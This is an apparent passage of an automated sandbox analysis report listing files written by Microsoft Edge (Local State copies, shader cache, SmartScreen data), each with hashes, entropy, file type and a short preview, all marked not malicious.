Size (bytes):	44236
Entropy (8bit):	6.089551219895557
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k/TKKGf4SZtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynmt5b7VLyMV/YoskFoz
MD5:	164F7A432A30313F3468755893310A3B
SHA1:	3A266EDDD57AC9D1B0588442BE7AC143570A4789
SHA-256:	7588583155A05E791DE92E86834D7A585B4C60793C3857779FD13E7349C3559E
SHA-512:	9D249461434F29ABC929FE176C3B6DC84FD816BB2EF3F71E9AE89DF5F509350B3B81C28265BFCEC51DE75C9597E15E76BFE44FA43774E87FD0CD62860E168298
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2bb95.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089551219895557
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k/TKKGf4SZtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynmt5b7VLyMV/YoskFoz
MD5:	164F7A432A30313F3468755893310A3B
SHA1:	3A266EDDD57AC9D1B0588442BE7AC143570A4789
SHA-256:	7588583155A05E791DE92E86834D7A585B4C60793C3857779FD13E7349C3559E
SHA-512:	9D249461434F29ABC929FE176C3B6DC84FD816BB2EF3F71E9AE89DF5F509350B3B81C28265BFCEC51DE75C9597E15E76BFE44FA43774E87FD0CD62860E168298
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF367c3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089551219895557
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k/TKKGf4SZtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynmt5b7VLyMV/YoskFoz
MD5:	164F7A432A30313F3468755893310A3B
SHA1:	3A266EDDD57AC9D1B0588442BE7AC143570A4789
SHA-256:	7588583155A05E791DE92E86834D7A585B4C60793C3857779FD13E7349C3559E
SHA-512:	9D249461434F29ABC929FE176C3B6DC84FD816BB2EF3F71E9AE89DF5F509350B3B81C28265BFCEC51DE75C9597E15E76BFE44FA43774E87FD0CD62860E168298
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c862.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089551219895557
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k/TKKGf4SZtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynmt5b7VLyMV/YoskFoz
MD5:	164F7A432A30313F3468755893310A3B
SHA1:	3A266EDDD57AC9D1B0588442BE7AC143570A4789
SHA-256:	7588583155A05E791DE92E86834D7A585B4C60793C3857779FD13E7349C3559E
SHA-512:	9D249461434F29ABC929FE176C3B6DC84FD816BB2EF3F71E9AE89DF5F509350B3B81C28265BFCEC51DE75C9597E15E76BFE44FA43774E87FD0CD62860E168298
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNldFX:Ls3dFX
MD5:	8ECFC272A59E4B30DCD95898E54C4B11
SHA1:	9AC889F426A2DA0017B028BA4DAF03515045B29E
SHA-256:	CFC432508CB1F73455A6B3B8CF77193979AF3FC2B1580D73391A701EB1B6E681
SHA-512:	9C8B8CB2303C05AF54862DBCF4122D917D19889A8A5A0D73FE1667A14A457504B7DB91F9146219806A1374916D669CF4C4E538B58B24A8E410B1F7E7C61A2323
Malicious:	false
Preview:	........................................-...../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.035226990916634
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclUsVc7AGy:YWLSGTt1o9LuLgfGBPAzkVj/T8lUs27g
MD5:	4E5041A785C2D6D1C8539C28D825D28D
SHA1:	E1C3F1FE00DB239228EC09F94BD9230DE5D71C51
SHA-256:	162311B03692D8432F932951E0D04B151CB12758A7CE7E3F072E2ABCAE32C99D
SHA-512:	E31E290CB3063172BF3889C1907D889F29505B9A6741C415285AC40DBC6698E6E13876334AB54308E198FF7512FC4BB95B4E79BB8FD7E911B74BB993D465354E
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1731983794803456}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
